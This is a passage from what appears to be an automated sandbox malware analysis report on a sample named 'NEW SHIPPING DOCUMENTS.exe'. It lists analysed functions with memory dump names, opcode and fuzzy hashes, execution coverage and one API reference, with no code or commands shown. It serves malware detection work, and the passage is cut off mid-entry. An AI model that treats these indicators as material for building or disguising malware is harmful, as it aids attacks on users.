Instruction Fuzzy Hash: 27E1FAB4E1025A9FDB14DFA9C580AAEFBF2BF89304F24C269D414A7355D770A942CF60

Function 0709D968 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a03c8d7ea56fee1584e6e850c0a55033f88877e0570ed75c5c50b896e36c3993
Instruction ID: 5cce042c4d8c88485177c5009605a2afdb4f534fc85195a84386f73e53c89242
Opcode Fuzzy Hash: a03c8d7ea56fee1584e6e850c0a55033f88877e0570ed75c5c50b896e36c3993
Instruction Fuzzy Hash: 81E11CB4E002599FDB14DFA9C580AAEFBF2FF89304F248269D414A7355D770A942DFA0

Function 0519E704 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2146251487.0000000005190000.00000040.00000800.00020000.00000000.sdmp, Offset: 05190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5190000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ef71bbd709e9c4d887cf2f7071f1c99032d49e5dd5f6fbb882535e1602b5a4d
Instruction ID: b1ff2a7151bfed38d8f4c04c8ecdde918c4d9153a2f743713449e274726dca57
Opcode Fuzzy Hash: 9ef71bbd709e9c4d887cf2f7071f1c99032d49e5dd5f6fbb882535e1602b5a4d
Instruction Fuzzy Hash: 9FA19136F00219DFCF19DFB4D4845AEBBB6FF85300B15456AE806AB261DB31E956CB80

Function 070600B9 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c2e18014911414d0eac69c43606fc977ef124724b5e50d4421b0be5587c4c2
Instruction ID: fec0be2b6cfacca21dd428502c819df0a1b2c48e81608477b69a0ec9eace7438
Opcode Fuzzy Hash: 71c2e18014911414d0eac69c43606fc977ef124724b5e50d4421b0be5587c4c2
Instruction Fuzzy Hash: 829153B3C44A28CFD7089657CD6AA8277D9DB76324B467346C2285B2F2F6A82141DE81

Function 07093168 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8a15d018e5d1f8e31753e616e85005f6bfb8505a29b4f68842aee0863bf91b5
Instruction ID: 47b12531e23fe33f0662da721140d0b4f3aa1afb7839e25646b91529d82eda05
Opcode Fuzzy Hash: c8a15d018e5d1f8e31753e616e85005f6bfb8505a29b4f68842aee0863bf91b5
Instruction Fuzzy Hash: 3661F2B4E15209CFCF08CFA9C5805DEFBF2BF8A210F24952AD425B7364D6349A428F64

Function 07093178 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58743a08972201eca87901b98b497be0add386002ed2a1688b49c52254f03c50
Instruction ID: d1342a3295a7bc923cc18d5cecd1559b8e027c5177c58887fc76bd407fc8a6ed
Opcode Fuzzy Hash: 58743a08972201eca87901b98b497be0add386002ed2a1688b49c52254f03c50
Instruction Fuzzy Hash: AB71B1B4E15209DFCF08CFA9C5815DEFBF2AB8A210F24952AD425B7364D7349A428F64

Function 0709F710 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 816a52b277e2a465c40899c96ed6498dd73c5c26d0e09b1b8b7be257c49b0344
Instruction ID: e5115aae7b982da2a26c894bf96992849a875cede766a8f3e9b4b9d473322312
Opcode Fuzzy Hash: 816a52b277e2a465c40899c96ed6498dd73c5c26d0e09b1b8b7be257c49b0344
Instruction Fuzzy Hash: D7510EB1E1025A8FDB54CFA9C9845AEFBF2FF89304F248269D418A7355D730A942CF61

Function 07094580 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4afae0191085e433ddd518a7702e33b8c280a0688f29dc26b69492ae898df9
Instruction ID: 26bde87253c95cfd7f0862f5b8639841806e8da8cbcc6e307a02e05f00aeca5e
Opcode Fuzzy Hash: ee4afae0191085e433ddd518a7702e33b8c280a0688f29dc26b69492ae898df9
Instruction Fuzzy Hash: F85113B5D1425AABCF08CFE6D4405EFBBF2AB8A240F14952AD425B7214E33896428F65

Function 07094590 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dee92718ad2d47f63160c329027e39f191ad6709ed17fb34dd89c29984e753fb
Instruction ID: 7e9148af6951f84c64ccc38676fd5d2c48e4b7df5a06e3f951240bca1a328ab1
Opcode Fuzzy Hash: dee92718ad2d47f63160c329027e39f191ad6709ed17fb34dd89c29984e753fb
Instruction Fuzzy Hash: 015107B4D15659EFCF04CFE6D4401EFFBF2EB8A240F10952AD425B6214E33896428F65

Function 0706E8D8 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca49363265d6b1e99a87ec85fbacb8981393e9f35df13aa3cc383e2979b5b532
Instruction ID: 41157252c9060f7ebea10a22159c024130cea271b26321f5634d340780f5afcc
Opcode Fuzzy Hash: ca49363265d6b1e99a87ec85fbacb8981393e9f35df13aa3cc383e2979b5b532
Instruction Fuzzy Hash: CD4108B4E142198FDB08CFAAD8546AEFBF2FF89300F14D16AD415A7250DB349941CF65

Function 0706E8E8 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5542c7b2de2f548785a3abd14a188ec9f951cd53b90d100165b317fc2278827b
Instruction ID: 0eb4490455b2e10d2c0209772310a7e394914c07b745bb06668ae644dd525f83
Opcode Fuzzy Hash: 5542c7b2de2f548785a3abd14a188ec9f951cd53b90d100165b317fc2278827b
Instruction Fuzzy Hash: 704135B4E042198FDB08CFAAD5546AEFBF2BF88300F14D22AD419B7250EB349941CF65

Function 07092F48 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63f61428e9b9801f5efbd508380193827eb2675f4823c283565b2709588669a9
Instruction ID: 7cc4b60f7a292bba6d7cdcd74b2e19aa1a2509c56e89e7dd7c4568891112b687
Opcode Fuzzy Hash: 63f61428e9b9801f5efbd508380193827eb2675f4823c283565b2709588669a9
Instruction Fuzzy Hash: 594118B0E1520A9FCF48CFAAC4519AEFBF2BF89300F24C16AD415E7254E7349A418F94

Function 07092F58 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163717011.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a613afd23e21b8f280193c5fbf179aab944c0e35dd36f991c8849c8651bf590a
Instruction ID: 3b7da1062be0d3020ffeb29391541c9735b3d8554d4ea6ae9899b2652c18d775
Opcode Fuzzy Hash: a613afd23e21b8f280193c5fbf179aab944c0e35dd36f991c8849c8651bf590a
Instruction Fuzzy Hash: A641F8B0E1560A9FCF44CFAAC5915AEFBF2BF89300F24C16AC415E7254E7349A418F95

Function 0706D238 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163200106.0000000007060000.00000040.00000800.00020000.00000000.sdmp, Offset: 07060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7060000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f61f6d9281235936959380e5da96ab6a51f4ee974b243db0a5ca2e3f88bd068
Instruction ID: e8f29fbcc27c3e2b9d1b5dc44a239569f85c9dd4055c8f60d95111cc86f43ada
Opcode Fuzzy Hash: 3f61f6d9281235936959380e5da96ab6a51f4ee974b243db0a5ca2e3f88bd068
Instruction Fuzzy Hash: F911FEB1E006199BEB5CCF6BC85479EFAF3AFC8300F08C17AD818A6258EB3445468F55

Analysis Process: NEW SHIPPING DOCUMENTS.exePID: 7140, Parent PID: 5552COMMON

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	5

Executed Functions

Function 06DE55C0 Relevance: 1.8, Strings: 1, Instructions: 600
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06DE5C67

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 471af7d2d4ff52cecadb2cd4b666f6c1143c61e1630f47e13556562760e1ac8a
Instruction ID: b55fea7f5cccdbd3cae7deed1d0d6938339f356b053bbe63c0f075e639232042
Opcode Fuzzy Hash: 471af7d2d4ff52cecadb2cd4b666f6c1143c61e1630f47e13556562760e1ac8a
Instruction Fuzzy Hash: B822D335F012158FDF64EBA4E4906AEBBB2EF84358F24846AD446EB344DB36DC41CB90

Function 06DE2378 Relevance: 1.0, Instructions: 1005COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e818b2345282184493fbb08729ff956d326f5e849b77b5df8b2bbc99185da75
Instruction ID: 6c5b8a7dce888cbe6e4b57e6f6c8314b0f3c1088e7a7dc6ec2838db0d0379fda
Opcode Fuzzy Hash: 9e818b2345282184493fbb08729ff956d326f5e849b77b5df8b2bbc99185da75
Instruction Fuzzy Hash: A5924530E00204CFDBA4EF68C584A6DB7B6FB89314F5584AAD4099B362DB75ED81CF90

Function 06DEC198 Relevance: .6, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 803358740a2bd98358b9d7ccb4192ea2ae2f23dc7b9e0ff3a2f23eaa1ef26161
Instruction ID: 4f9edc699da549bc810f3b6dd7aae4ef9d1daca99b84d61169cd7962c138fee1
Opcode Fuzzy Hash: 803358740a2bd98358b9d7ccb4192ea2ae2f23dc7b9e0ff3a2f23eaa1ef26161
Instruction Fuzzy Hash: 0D328430B112099FDB54EB68E984BAEB7F2FB88310F108529E515EB351DB35EC42CB91

Function 06DEB23F Relevance: .6, Instructions: 575COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b5e5a61c0cdd6602ca9b51e8d5f37c860f0bc66e9af2d71d45df526eede184
Instruction ID: f90352aabb8c0d9f5679434db493fceeed00df5b01bc9c438ee7fc197c942e94
Opcode Fuzzy Hash: b2b5e5a61c0cdd6602ca9b51e8d5f37c860f0bc66e9af2d71d45df526eede184
Instruction Fuzzy Hash: 79223F70F1010A8BEF64EB6CD6947ADB7B1FB89314F20852BE445DB395DA34EC818B91

Function 06DE3080 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e39ed89056db5fcc093056c20da7ef8020b7e0eb7c2d7e3a9bc1bc5b805aaed2
Instruction ID: b8d0aa811c2c48453dc55e602f50d8a32c6aa69932e3559103f6c252ead5fa3a
Opcode Fuzzy Hash: e39ed89056db5fcc093056c20da7ef8020b7e0eb7c2d7e3a9bc1bc5b805aaed2
Instruction Fuzzy Hash: 02324F30E1065ACFDB14EB79D8945ADB7B2FFC9300F51869AD409AB214EF74AD81CB80

Function 06DE7D90 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5b5bc5d0a231d0d716332484e4eab2f72d02fce6de375d88e37b6c32a618f14
Instruction ID: 9cbcc0d877a24adeda69759557c6c8509bbfcaeeab30daccd484336d0c3f04fe
Opcode Fuzzy Hash: f5b5bc5d0a231d0d716332484e4eab2f72d02fce6de375d88e37b6c32a618f14
Instruction Fuzzy Hash: 21029130B012168FDB54EB69E484AAEB7F2FF84310F148569D506EB395EB75EC42CB90

Function 0152ECA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

M+M, xrefs: 0152EDA7

Memory Dump Source

Source File: 00000009.00000002.4584096382.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1520000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: M+M
API String ID: 0-755031969
Opcode ID: 096973a9fb12ccabe4e1b66a3ce0ecf10a6d2ba8c157e3e929dbaa55e579084f
Instruction ID: 4b056b76f712a527a934ccba4e00bf49deab011cc6e50b8677096ff72cd9fe1a
Opcode Fuzzy Hash: 096973a9fb12ccabe4e1b66a3ce0ecf10a6d2ba8c157e3e929dbaa55e579084f
Instruction Fuzzy Hash: 7B412372E043558FCB14DFA9D81429EBBF1EFCA210F15866AD904A7341EBB49845CBA1

Function 0152ED88 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 0152EDEF

Strings

M+M, xrefs: 0152EDA7

Memory Dump Source

Source File: 00000009.00000002.4584096382.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1520000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: M+M
API String ID: 1890195054-755031969
Opcode ID: 71bd66c4a692324437e6d8bcf65260b881632b745b5e0b50fa8f929f0dc1ca8a
Instruction ID: df8c0422a83d46a8082d4a8c63247e3ab511ad7514593a6dd59bf2c2ec59799e
Opcode Fuzzy Hash: 71bd66c4a692324437e6d8bcf65260b881632b745b5e0b50fa8f929f0dc1ca8a
Instruction Fuzzy Hash: DC1114B2C0065A9FDB10CF9AC44479EFBF4BF48320F11816AE918B7240D378A954CFA5

Function 06DE3898 Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

M+M, xrefs: 06DE38C2

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: M+M
API String ID: 0-755031969
Opcode ID: f88ecc827289e6a7784c1ac9d7b17897af01a808d7aee6a38e401c12b3a65728
Instruction ID: 7cae3884ee52f3bb23935692dda85250517d2140487782a1c36a2934257d8f3b
Opcode Fuzzy Hash: f88ecc827289e6a7784c1ac9d7b17897af01a808d7aee6a38e401c12b3a65728
Instruction Fuzzy Hash: D421E0B5D01219AFCB00DF9AD984ADEFBB8FB48310F10812AE918A7200C374A954CFA5

Function 06DE38A0 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

M+M, xrefs: 06DE38C2

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID: M+M
API String ID: 0-755031969
Opcode ID: 5894943aa0d100626b43e3d8d3a86282820ef36d8e790b7d0d2b4219f6429465
Instruction ID: 1deee92cdb0cb788e291d2d8fc8bbaac5337527f6560e6bc66fc4fd201c5e9db
Opcode Fuzzy Hash: 5894943aa0d100626b43e3d8d3a86282820ef36d8e790b7d0d2b4219f6429465
Instruction Fuzzy Hash: C011C2B5D01619AFCB00DF9AD884ADEFBB4FB48310F10812AE518B7200C374A554CFA5

Function 06DECF58 Relevance: .8, Instructions: 804COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0eeac95ef2e743688ab62f298e810c4619fabe493ffd6b7ddccf6ce760b8136
Instruction ID: b4227e01a3deb59b6ea9765a7df0017a0b201c2f227f4582c4adbebf8aed7d4c
Opcode Fuzzy Hash: b0eeac95ef2e743688ab62f298e810c4619fabe493ffd6b7ddccf6ce760b8136
Instruction Fuzzy Hash: 43622D30B012069FDB55EB68E590A5DBBB2FF84344F209A69D0059F255DF79EC86CB80

Function 06DEB660 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f87d750909afe12c4835f4381a23433646d356469e1b366fa7eb1483c263bd
Instruction ID: 3e512debff5f1fb3e40b17155ef5ab1421004850885c6c680a47d2aa8b2b8e54
Opcode Fuzzy Hash: e1f87d750909afe12c4835f4381a23433646d356469e1b366fa7eb1483c263bd
Instruction Fuzzy Hash: AB027E30F0020A8FEBA4EB68DA846ADB7B1FB85314F10852BD455EB345DB75EC81CB91

Function 06DE6D28 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57a4d0bb27b1e5d90c438b744d157310dbe43e1c79694684397b0f9f8ac6522e
Instruction ID: 8cd8874ea979e33a5c9fe816342febbf63421383f25b56f65e52348af8d0d1f6
Opcode Fuzzy Hash: 57a4d0bb27b1e5d90c438b744d157310dbe43e1c79694684397b0f9f8ac6522e
Instruction Fuzzy Hash: B0A16B30B00215CFDBA4EB69D544A6DBBF2FF84314F548569E41AAB390EB76EC41CB90

Function 06DE42B9 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a86b01867b420726cd61199aa2a7b6a49e9d08b326450606229c7406b1083ac4
Instruction ID: 48958934de25fd87dad00dfb32fd64bca548030bd18daff0b1b5d1732cda8ac8
Opcode Fuzzy Hash: a86b01867b420726cd61199aa2a7b6a49e9d08b326450606229c7406b1083ac4
Instruction Fuzzy Hash: 97811C34B0124A8FDB54EBA8D4546AEB7F7EF89300F108529D50AEB384EF75DC428B91

Function 06DE9160 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cf8deba2d349a2b50d2a6b0831b67faf330d708e5d83df019cab206da32b098
Instruction ID: 87ccdb6356c57081b7ed03463cedaa36f0a6c06508ef9d353e257198a3b7c4b7
Opcode Fuzzy Hash: 8cf8deba2d349a2b50d2a6b0831b67faf330d708e5d83df019cab206da32b098
Instruction Fuzzy Hash: 16914070B0125A8FDB64DB68E894BAE77F6FF85300F108569D40AAB344EE749D418B91

Function 06DE6200 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c477722c5f1d7e05b674d1b2f9e595bc3c6f827c954a82cb225e180e4f943bac
Instruction ID: 42b97dd3108f8c2bbd8c14d4ebddeb70bb031fb6faab475188048c079317a972
Opcode Fuzzy Hash: c477722c5f1d7e05b674d1b2f9e595bc3c6f827c954a82cb225e180e4f943bac
Instruction Fuzzy Hash: C561D372F001624BCF64AB6ED88455FBAD7EFE4210B15407AE90EDB364DEA5EC0287D1

Function 06DE45D8 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40b9e5fbdeeec0d3b01e323eb24e1fd30895095f28f51faadd753249594ab2b3
Instruction ID: 1c687c5e146c2af066fa00b76e8d5031b50e90ad7a7a749a17402917186cab82
Opcode Fuzzy Hash: 40b9e5fbdeeec0d3b01e323eb24e1fd30895095f28f51faadd753249594ab2b3
Instruction Fuzzy Hash: 6C914E30E106598FDF60DF68C890BDDB7B1FF89314F208599D549AB241DB70AA85CF91

Function 06DEAF38 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8028252a737a283b26bd5c9f3d675406db17590431ef7d033bb5b3a3c11209a7
Instruction ID: 8d98a8e192b86483d11db70179cb7328ae42f061f26b3ae013e51a2faf8079d0
Opcode Fuzzy Hash: 8028252a737a283b26bd5c9f3d675406db17590431ef7d033bb5b3a3c11209a7
Instruction Fuzzy Hash: 19715231E003068BDB14DFA9E5406AEB7B2FFC5304F60852AE505AB354DF75A846CB81

Function 06DE45F0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b4630cb532e90f9dd165bd72cf4b04eb687da6606e1b3d2f74e6ff1e49ce19
Instruction ID: 052000f0c5897d0dd993141053703d3f5a23e0a8fdfb10e6a681bfa98bd1f176
Opcode Fuzzy Hash: 81b4630cb532e90f9dd165bd72cf4b04eb687da6606e1b3d2f74e6ff1e49ce19
Instruction Fuzzy Hash: 9A912C34E1061A8BDF60DF68C880B9DB7B1FF89314F208599D549AB345EB70AA85CF91

Function 06DEEF20 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fcc79ead98d72b5471a84e4e948273cc6ef3eb7658472e353d858e1ca50e1c0
Instruction ID: 396966d009d8f8d3c65cdea55f0f2e9c6304f9df1dcc37ed11224a60fac4387d
Opcode Fuzzy Hash: 9fcc79ead98d72b5471a84e4e948273cc6ef3eb7658472e353d858e1ca50e1c0
Instruction Fuzzy Hash: 99713771B002499FDB54EBA9D980AAEBBF6FF88300F148529E005EB254DB74ED46CB51

Function 06DEEF30 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d055ca0c0ec5cf261d01e9afc580874ab60709fed4d0c701a987b429e619adf6
Instruction ID: 7889fd71acb4c586c0d7182a5b99f4ea73dfc3c98c1223a4ab04fd2b56b26e84
Opcode Fuzzy Hash: d055ca0c0ec5cf261d01e9afc580874ab60709fed4d0c701a987b429e619adf6
Instruction Fuzzy Hash: 74712771B002499FDB54EBA9D980AADBBF6FF88300F248529E405EB354DB75EC42CB51

Function 06DE4B88 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4602186567.0000000006DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6de0000_NEW SHIPPING DOCUMENTS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b720c6b03bd85d1b00bbc055ac132fcb385a948f2df59ccee8b9653f6fbd33e1
Instruction ID: 8da88ac87867647923886b84d5bac362dcf8bd6f00610b7caf90cbb954846d01
Opcode Fuzzy Hash: b720c6b03bd85d1b00bbc055ac132fcb385a948f2df59ccee8b9653f6fbd33e1
